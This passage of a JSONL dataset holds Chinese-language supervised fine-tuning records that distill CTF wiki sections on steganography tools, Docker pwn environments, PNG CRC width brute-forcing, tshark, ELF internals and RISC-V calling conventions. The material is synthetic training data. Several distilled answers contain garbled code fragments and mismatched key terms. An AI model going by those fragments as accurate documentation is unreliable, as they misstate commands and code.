"下界溢出"], "original_id": "docs-29dd8f5a0040591ad030", "original_line": 1192, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "source_root": "docs", "source_sha256": "959bb364d37f2e799d50154207a0ed57e01a3cf27d5bd74723e161e6e9a941f6", "split": "train", "split_group_key": "89f20aa8db06d3ba189491eb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "pwn", "linux", "user-mode", "integeroverflow"], "title": "整数溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/integeroverflow/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-72785ab92cf4b1e6f135", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/jpg.md` 中的章节「Stegdetect」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/jpg.md`\n标题：JPG\n章节：JPG > 隐写软件 > Stegdetect\n路径分类：misc / misc/picture/jpg.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Stegdetect”展开。\n- 通过统计分析技术评估 JPEG 文件的 DCT 频率系数的隐写工具, 可以检测到通过 JSteg、JPHide、OutGuess、Invisible Secrets、F5、appendX 和 Camouflage 等这些隐写工具隐藏的信息，并且还具有基于字典暴力破解密码方法提取通过 Jphide、outguess 和 jsteg-shell 方式嵌入的隐藏信息。\n- t 设置要检测哪些隐写工具（默认检测jopi），可设置的选项如下： j 检测图像中的信息是否是用jsteg嵌入的。\n- ``shell -q 仅显示可能包含隐藏内容的图像。\n- 如果JPEG文件的JFIF标识符中的版本号不是1.1，则禁用OutGuess检测。\n- 检测结果的匹配度与检测算法的敏感度成正比，算法敏感度的值越大，检测出的可疑文件包含敏感信息的可能性越大。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- misc\n- picture\n- jpg.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `-q 仅显示可能包含隐藏内容的图像。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 547, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "Stegdetect", "heading_path": ["JPG", "隐写软件", "Stegdetect"], "original_id": "docs-98857bc1cbabd2f4a375", "original_line": 581, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "source_root": "docs", "source_sha256": "511e2283dbd668e594a3274653afdb20ddfae8ff34bee0a759a8df4d0f60e28a", "split": "train", "split_group_key": "0c3dd2c266f6bcccfddcfd71", "subcategory": "misc/picture/jpg.md", "terms": ["ROP/JOP", "密码学", "misc", "picture", "jpg.md", "code:shell"], "title": "JPG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/jpg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-72bf8986e249edf9be78", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「从 Docker 镜像创建容器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 从 Docker 镜像创建容器\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“从 Docker 镜像创建容器”展开。\n- 我们只需要运行如下命令便能基于我们刚刚创建的 Docker 镜像创建一个新的容器，方便起见你可以将其创建为一个脚本，各参数说明如下：\n- - -d： 使容器在后台运行 - -p 25000:22： 容器的 22 端口映射到本地的 25000 端口 - --name=pwn24： 容器名为 pwn24 - -v ~/Desktop/CTF:/CTF ： 将本地的 ~/Desktop/CTF 目录映射到容器中的 /CTF 目录，这样我们便能在容器内访问到本地文件，而无需将文件重复拷贝进容器中 - pwnenv_ubuntu24：创建容器所使用的镜像\n- ``shell $ docker run \\ -d \\ -p 25000:22 \\ --name=pwn24 \\ -v ~/Desktop/CTF:/CTF \\ pwnenv_ubuntu24 ``\n- ``shell $ docker exec -w /CTF \\ -e TERM=xterm-256color \\ -u ubuntu \\ -it pwn24 \\ bash ``\n- 如果你不想直接将本地目录与容器进行共享，而是想要将所需文件拷贝一份到容器中，则可以使用 docker cp 命令：\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 6 行，首行 `$ docker run \\`\n- shell: 5 行，首行 `$ docker exec -w /CTF \\`\n- shell: 2 行，首行 `$ docker cp 本地源文件路径 容器名:容器内目的路径`\n- shell: 1 行，首行 `$ ssh root@localhost -p 25000`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 875, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "从 Docker 镜像创建容器", "heading_path": ["pwn-related tools", "从 Docker 镜像创建容器"], "original_id": "docs-bff9f2d45c84ea3c5c05", "original_line": 844, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "6b349f48ca85b26a770c8ca8", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "environment.md", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-760eae5d433b18526436", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/gif.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/gif.md`\n标题：GIF\n章节：GIF > 空间轴 > 例题\n路径分类：misc / misc/picture/gif.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- for i in range(2): for j in range(2): pot = \"cake-{}.png\".format(j+i2) potImage = Image.open(pot) flag.paste(potImage,(j225,i*225)) flag.save('./flag.png') ```\n\n关键术语：\n- misc\n- picture\n- gif.md\n- code:python\n\n代码/命令片段线索：\n- python: 8 行，首行 `from PIL import Image`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 388, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["GIF", "空间轴", "例题"], "original_id": "docs-b2d3dfa68177a8920de3", "original_line": 576, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "source_root": "docs", "source_sha256": "4ab7c472b31541161ddb401ad7439593a656caf10fd24929eb2630025ebe9f8b", "split": "train", "split_group_key": "eaef011d1fa8f286f162ece7", "subcategory": "misc/picture/gif.md", "terms": ["misc", "picture", "gif.md", "code:python"], "title": "GIF"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/gif.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-774f2d3d142a3d2cc691", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/audio/introduction.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/audio/introduction.md`\n标题：音频隐写\n章节：音频隐写 > LSB音频隐写 > 原理\n路径分类：misc / misc/audio/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.\n- 主要可以使用 Silenteye 工具，其介绍如下： > SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds.\n- 类似于图片隐写中的 LSB 隐写，音频中也有对应的 LSB 隐写。\n\n关键术语：\n- 密码学\n- misc\n- audio\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 375, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "原理", "heading_path": ["音频隐写", "LSB音频隐写", "原理"], "original_id": "docs-a39d1d1f2ef1735f5eb8", "original_line": 558, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "source_root": "docs", "source_sha256": "ca5f9e61f874f9b23c918bef96439e1355aac386099fc35a99150f84b386b0c9", "split": "train", "split_group_key": "091d0464c53fe3cf17e1a713", "subcategory": "misc/audio/introduction.md", "terms": ["密码学", "misc", "audio", "introduction.md"], "title": "音频隐写"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-783fec9579445b03af1f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/usb.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/usb.md`\n标题：USB\n章节：USB > 例题\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- > Xman三期夏令营排位赛练习题：AutoKey > > WP：https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html 问题描述： [图片: task_AutoKey;\n- 文件: ./figure/task_AutoKey.png] 这道题是我参加 Xman 三期夏令营选拔赛出的一道题，我们如何对其进行分析？\n\n关键术语：\n- misc\n- traffic\n- protocols\n- usb.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 194, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["USB", "例题"], "original_id": "docs-964ef378ec05997e61f1", "original_line": 33, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "source_root": "docs", "source_sha256": "08cca8a2e3086d186787a8373b02ff799d9bcf0c30eca387da114d4c8673a550", "split": "train", "split_group_key": "591e14ce628c973a55c01960", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "usb.md"], "title": "USB"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7ae8546362496e74b869", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/wireshark.md` 中的章节「Protocol History(协议分级)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/wireshark.md`\n标题：Wireshark\n章节：Wireshark > Wireshark 常用功能介绍 > 信息统计 > Protocol History(协议分级)\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Protocol History(协议分级)”展开。\n- 这个窗口实现的是捕捉文件包含的所有协议的树状分支 [图片: pro_his;\n\n关键术语：\n- misc\n- traffic\n- protocols\n- wireshark.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 433, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Protocol History(协议分级)", "heading_path": ["Wireshark", "Wireshark 常用功能介绍", "信息统计", "Protocol History(协议分级)"], "original_id": "docs-debb9286f9d00ccc7690", "original_line": 617, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "source_root": "docs", "source_sha256": "546a3a75ea351917c279b325f09f055f5c2a27216cee4990c2ab27defff3a559", "split": "train", "split_group_key": "2374d28e15902c9249f3f353", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "wireshark.md"], "title": "Wireshark"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wireshark.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7b2079223e5f709b1773", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/png.md` 中的章节「WDCTF-finals-2017」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/png.md`\n标题：PNG\n章节：PNG > 文件格式 > IHDR > 例题 > WDCTF-finals-2017\n路径分类：misc / misc/picture/png.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“WDCTF-finals-2017”展开。\n- ` 这里需要注意的是，文件宽度不能任意修改，需要根据 IHDR 块的 CRC 值爆破得到宽度,否则图片显示错误不能得到 flag。\n- `python misc = open(\"misc4.png\",\"rb\").read() for i in range(1024): data = misc[12:16] + struct.pack('>i',i)+ misc[20:29] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0x932f8a6b: print i `` 得到宽度值为 709 后，恢复图片得到 flag。\n- [图片文件: ./figure/misc4.png]\n\n关键术语：\n- misc\n- picture\n- png.md\n- code:hex\n- code:python\n\n代码/命令片段线索：\n- hex: 6 行，首行 `00000000 80 59 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.YNG........IHDR|`\n- python: 6 行，首行 `misc = open(\"misc4.png\",\"rb\").read()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 742, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "WDCTF-finals-2017", "heading_path": ["PNG", "文件格式", "IHDR", "例题", "WDCTF-finals-2017"], "original_id": "docs-65997a815d4787e48bcc", "original_line": 585, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "source_root": "docs", "source_sha256": "43950f569096175f2c56da46c5d09dece4a19b71604f5ff4c9662280fa9187ec", "split": "train", "split_group_key": "9904e2e000e8d63c7d8aaa56", "subcategory": "misc/picture/png.md", "terms": ["misc", "picture", "png.md", "code:hex", "code:python"], "title": "PNG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7c77ef1b3bf0c7e1a42f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/audio/introduction.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/audio/introduction.md`\n标题：音频隐写\n章节：音频隐写 > 波形 > 例题\n路径分类：misc / misc/audio/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- `` 110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101 `` 转为 ASCII，摩斯密码解密，得到 flag。\n- > ISCC-2017: Misc-04 其实这题隐藏的信息在最开始的一段音频内，不细心听可能会误认为是隐写软件。\n- [图片文件: ./figure/3.png] 以高为 1 低为 0，转换得到 01 字符串。\n- note 一些较复杂的可能会先对音频进行一系列的处理，如滤波等。\n- 例如 JarvisOJ - 上帝之音 Writeup\n\n关键术语：\n- 密码学\n- misc\n- audio\n- introduction.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 371, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["音频隐写", "波形", "例题"], "original_id": "docs-9b7f019f5d335f668953", "original_line": 557, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "source_root": "docs", "source_sha256": "ca5f9e61f874f9b23c918bef96439e1355aac386099fc35a99150f84b386b0c9", "split": "train", "split_group_key": "8909ae99a9de4ad109328fd9", "subcategory": "misc/audio/introduction.md", "terms": ["密码学", "misc", "audio", "introduction.md"], "title": "音频隐写"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/audio/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7dfab4c59cf8e1e2c08c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「常用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > tshark > 常用方法\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“常用方法”展开。\n- format of text output (def: text) -e  field to print if -Tfields selected (e.g. tcp.port, _ws.col.Info) ` 通过-Y过滤器(与wireshark一致),然后用-T filds -e配合指定显示的数据段(比如usb.capdata) - tips - -e后的参数不确定可以由 wireshark` 右击需要的数据选中后得到\n- > tshark -r .pcap –Y -T fields –e | ** > data `` Usage: -Y  packet displaY filter in Wireshark display filter syntax -T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?\n\n关键术语：\n- misc\n- traffic\n- data.md\n\n代码/命令片段线索：\n- plain: 7 行，首行 `Usage:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 438, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "常用方法", "heading_path": ["数据提取", "tshark", "常用方法"], "original_id": "docs-044fde31003907ccd5fd", "original_line": 591, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "7052a0dc8e80cdc68d616526", "subcategory": "misc/traffic/data.md", "terms": ["misc", "traffic", "data.md"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-803a7ff54f6cc63eb898", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/misc-sections.md` 中的章节「Note related sections」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/misc-sections.md`\n标题：Misc Sections\n章节：Misc Sections > Note related sections\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Note related sections”展开。\n- 有时候生产厂商或者系统构建者可能需要使用一些特殊的信息来标记ELF文件，从而其它程序可以来检查该 ELF 文件的一致性以及兼容性。\n- 节区类型为 SHT_NOTE 或者程序头部类型为 PT_NOTE 的元素用于来实现这个目的，它们中对象的表项可能包含一到多个，每一个表项都是目标处理器格式的 4 字节数组。\n- [图片文件: ./figure/note_information.png] - namesz 与 name - name 的前 namesz 字节包含了一个以 NULL 结尾的字符串，这表示该项的拥有者或者发起人。\n- 一般来说，生产厂商会使用他们自己公司的名字，例如“XYZ Computer Company”来当做对应的标志。\n- descsz 与 desc - desc 的前 descsz 字节包含了注释的描述。\n\n关键术语：\n- executable\n- elf\n- structure\n- misc-sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 846, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Note related sections", "heading_path": ["Misc Sections", "Note related sections"], "original_id": "docs-3e4980364b4af9539b9e", "original_line": 480, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/misc-sections.md", "source_root": "docs", "source_sha256": "f7d3da2208169eec6fad2544213d980aa3e9d97996d4b54525db1509e655613d", "split": "train", "split_group_key": "b525bde3cde9f25e7f130dc6", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "misc-sections.md"], "title": "Misc Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/misc-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-805d709648fbf48cec24", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「_dl_runtime_resolve」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：Symbol Resolution > 具体操作 > _dl_runtime_resolve\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_dl_runtime_resolve”展开。\n- 可参考 - https://stackoverflow.com/questions/51962243/what-is-cfi-adjust-cfa-offset-and-cfi-rel-offset - https://sourceware.org/binutils/docs/as/CFI-directives.html - _CET_ENDBR 则与 Intel 的 CET 相关，ENDBR32/ENDBR64 是 Intel CET-IBT 的合法间接分支目标标记。\n- 因此这部分代码可以简化为 `assembly .text .globl _dl_runtime_resolve .type _dl_runtime_resolve, @function .align 16 _dl_runtime_resolve: pushl %eax # Preserve registers otherwise clobbered. pushl %ecx pushl %edx movl 16(%esp), %edx # Copy args pushed by PLT in register.\n- 间接 CALL 或 JMP 执行后，处理器期望目标位置以相应 ENDBR 开始；\n- 该指令在不支持 CET 的旧处理器上按兼容 NOP 处理。\n\n关键术语：\n- 边界/溢出\n- 栈\n- executable\n- elf\n- linking\n- symbol-resolve.md\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 25 行，首行 `.text`\n- assembly: 17 行，首行 `.text`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 2370, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "_dl_runtime_resolve", "heading_path": ["Symbol Resolution", "具体操作", "_dl_runtime_resolve"], "original_id": "docs-e8fe8bf6b094ba67f93d", "original_line": 448, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "ac3cbd5be66ea0511dae4401", "subcategory": "executable/elf/linking", "terms": ["边界/溢出", "栈", "executable", "elf", "linking", "symbol-resolve.md", "code:assembly"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-834f42607a47d70a0d19", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「参数大小约束」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x04 调用规约 > 参数大小约束\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参数大小约束”展开。\n- 小于指针大小（如 char、short）：放在寄存器的低位 - 超过一个指针大小（如 long long）：需要偶数对齐寄存器 - 例如 RV32 中： ``c void foo(int, long long) ` - int → a0 - long long → a2 和 a3（跳过 a1，偶数对齐） - 超过两个指针大小（如 struct { long x[3];\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n- code:c\n\n代码/命令片段线索：\n- c: 1 行，首行 `void foo(int, long long)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 232, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "参数大小约束", "heading_path": ["Risc-V", "0x04 调用规约", "参数大小约束"], "original_id": "docs-82d9813b6009b5c5c6a3", "original_line": 123, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "481b05bf1f42295bd11e534a", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md", "code:c"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
